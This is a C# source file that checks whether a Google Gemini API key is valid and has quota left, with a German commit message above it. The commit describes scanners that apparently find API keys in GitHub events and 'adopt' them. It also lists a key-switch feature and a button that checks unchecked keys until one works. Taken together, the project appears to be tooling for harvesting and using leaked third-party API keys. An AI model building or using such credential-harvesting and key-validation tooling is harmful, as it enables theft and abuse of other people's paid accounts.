- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat) - Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.) - /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown - Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider - OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1) - Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1) - 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt - Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic - HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google - Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung - GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs - KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs - Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid) - Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google) - Frontend: Check-Button für alle Provider (nicht nur Anthropic)
186 lines
8.1 KiB
C#
186 lines
8.1 KiB
C#
using System;
|
||
using System.Linq;
|
||
using System.Net.Http;
|
||
using System.Text.Json;
|
||
using System.Threading.Tasks;
|
||
|
||
namespace Gott.Services
|
||
{
|
||
public class GoogleCheckResult
|
||
{
|
||
public string Status { get; set; } // "ok", "invalid", "disabled", "error"
|
||
public string Message { get; set; }
|
||
public string[] Models { get; set; }
|
||
}
|
||
|
||
public class GoogleQuotaResult
|
||
{
|
||
public bool HasQuota { get; set; }
|
||
public string Error { get; set; }
|
||
}
|
||
|
||
public static class GoogleKeyChecker
|
||
{
|
||
private static async Task<GoogleQuotaResult> CheckQuotaAsync(HttpClient client, string apiKey, string[] models)
|
||
{
|
||
try
|
||
{
|
||
// Günstigstes Modell wählen (flash > pro > erstbestes)
|
||
var testModel = models.FirstOrDefault(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase))
|
||
?? models.FirstOrDefault(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase))
|
||
?? models.FirstOrDefault();
|
||
|
||
if (testModel == null)
|
||
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Modelle verfügbar" };
|
||
|
||
var url = "https://generativelanguage.googleapis.com/v1/models/" + testModel
|
||
+ ":generateContent?key=" + apiKey;
|
||
|
||
var payload = new
|
||
{
|
||
contents = new[] { new { parts = new[] { new { text = "hi" } } } },
|
||
generationConfig = new { maxOutputTokens = 1 }
|
||
};
|
||
|
||
var json = JsonSerializer.Serialize(payload);
|
||
var content = new StringContent(json, System.Text.Encoding.UTF8, "application/json");
|
||
var resp = await client.PostAsync(url, content);
|
||
var statusCode = (int)resp.StatusCode;
|
||
|
||
if (statusCode == 200)
|
||
return new GoogleQuotaResult { HasQuota = true };
|
||
|
||
var body = await resp.Content.ReadAsStringAsync();
|
||
|
||
// 429: Quota oder Rate-Limit
|
||
if (statusCode == 429)
|
||
{
|
||
if (body.Contains("RESOURCE_EXHAUSTED", StringComparison.OrdinalIgnoreCase)
|
||
&& (body.Contains("quota", StringComparison.OrdinalIgnoreCase)
|
||
|| body.Contains("limit_value", StringComparison.OrdinalIgnoreCase)))
|
||
{
|
||
// Quota auf 0 oder erschöpft
|
||
if (body.Contains("\"0\"") || body.Contains("GenerateContent"))
|
||
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft (0 RPM)" };
|
||
|
||
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft" };
|
||
}
|
||
|
||
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
|
||
return new GoogleQuotaResult { HasQuota = true };
|
||
}
|
||
|
||
// 403: API nicht aktiviert oder Billing-Problem
|
||
if (statusCode == 403)
|
||
{
|
||
if (body.Contains("PERMISSION_DENIED", StringComparison.OrdinalIgnoreCase))
|
||
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Berechtigung für generateContent" };
|
||
|
||
if (body.Contains("billing", StringComparison.OrdinalIgnoreCase))
|
||
return new GoogleQuotaResult { HasQuota = false, Error = "Billing nicht aktiviert" };
|
||
|
||
return new GoogleQuotaResult { HasQuota = false, Error = "Zugriff verweigert (403)" };
|
||
}
|
||
|
||
// Andere Fehler → konservativ als "kein Quota" behandeln
|
||
return new GoogleQuotaResult { HasQuota = false, Error = "API-Fehler (" + statusCode + ")" };
|
||
}
|
||
catch (Exception)
|
||
{
|
||
// Bei Netzwerkfehler etc. → konservativ
|
||
return new GoogleQuotaResult { HasQuota = false, Error = "Quota-Check fehlgeschlagen" };
|
||
}
|
||
}
|
||
|
||
public static async Task<GoogleCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
||
{
|
||
try
|
||
{
|
||
var client = httpFactory.CreateClient();
|
||
client.Timeout = TimeSpan.FromSeconds(30);
|
||
|
||
// Gemini / Generative Language API – listet verfügbare Modelle
|
||
var url = "https://generativelanguage.googleapis.com/v1/models?key=" + apiKey;
|
||
var resp = await client.GetAsync(url);
|
||
var statusCode = (int)resp.StatusCode;
|
||
|
||
if (statusCode == 400)
|
||
return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (400)" };
|
||
|
||
if (statusCode == 403)
|
||
{
|
||
// Key gültig, aber Gemini API nicht aktiviert (z.B. Maps-Key)
|
||
var errorBody = await resp.Content.ReadAsStringAsync();
|
||
if (errorBody.Contains("API_KEY_INVALID", StringComparison.OrdinalIgnoreCase))
|
||
return new GoogleCheckResult { Status = "invalid", Message = "API-Key ungültig (403)" };
|
||
|
||
return new GoogleCheckResult { Status = "disabled", Message = "Key gültig, aber Gemini API nicht aktiviert (403)" };
|
||
}
|
||
|
||
if (statusCode == 429)
|
||
return new GoogleCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
|
||
|
||
if (statusCode >= 400)
|
||
return new GoogleCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
|
||
|
||
// 200 OK → Key gültig + Gemini API aktiv
|
||
var body = await resp.Content.ReadAsStringAsync();
|
||
var doc = JsonDocument.Parse(body);
|
||
|
||
string[] models = Array.Empty<string>();
|
||
if (doc.RootElement.TryGetProperty("models", out var modelsArr))
|
||
{
|
||
var interestingPrefixes = new[] { "gemini" };
|
||
models = modelsArr.EnumerateArray()
|
||
.Where(m => m.TryGetProperty("name", out _))
|
||
.Select(m => m.GetProperty("name").GetString())
|
||
.Where(n => n != null)
|
||
.Select(n => n.StartsWith("models/", StringComparison.Ordinal) ? n.Substring(7) : n)
|
||
.Where(n => interestingPrefixes.Any(p => n.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
|
||
.Distinct()
|
||
.OrderBy(x => x)
|
||
.ToArray();
|
||
}
|
||
|
||
// Plan-Erkennung
|
||
string plan;
|
||
if (models.Any(m => m.Contains("2.5", StringComparison.OrdinalIgnoreCase)
|
||
|| m.Contains("ultra", StringComparison.OrdinalIgnoreCase)))
|
||
plan = "Premium";
|
||
else if (models.Any(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase)))
|
||
plan = "Standard";
|
||
else if (models.Any(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase)))
|
||
plan = "Basic";
|
||
else
|
||
plan = "Free";
|
||
|
||
// Schritt 2: Echten generateContent-Call machen um Quota zu prüfen
|
||
var quota = await CheckQuotaAsync(client, apiKey, models);
|
||
|
||
var info = models.Length + " Gemini-Modelle · " + plan;
|
||
if (!quota.HasQuota)
|
||
{
|
||
info += " · " + quota.Error;
|
||
return new GoogleCheckResult
|
||
{
|
||
Status = "quota_exceeded",
|
||
Message = info,
|
||
Models = models
|
||
};
|
||
}
|
||
|
||
return new GoogleCheckResult
|
||
{
|
||
Status = "ok",
|
||
Message = info,
|
||
Models = models
|
||
};
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
return new GoogleCheckResult { Status = "error", Message = ex.Message };
|
||
}
|
||
}
|
||
}
|
||
}
|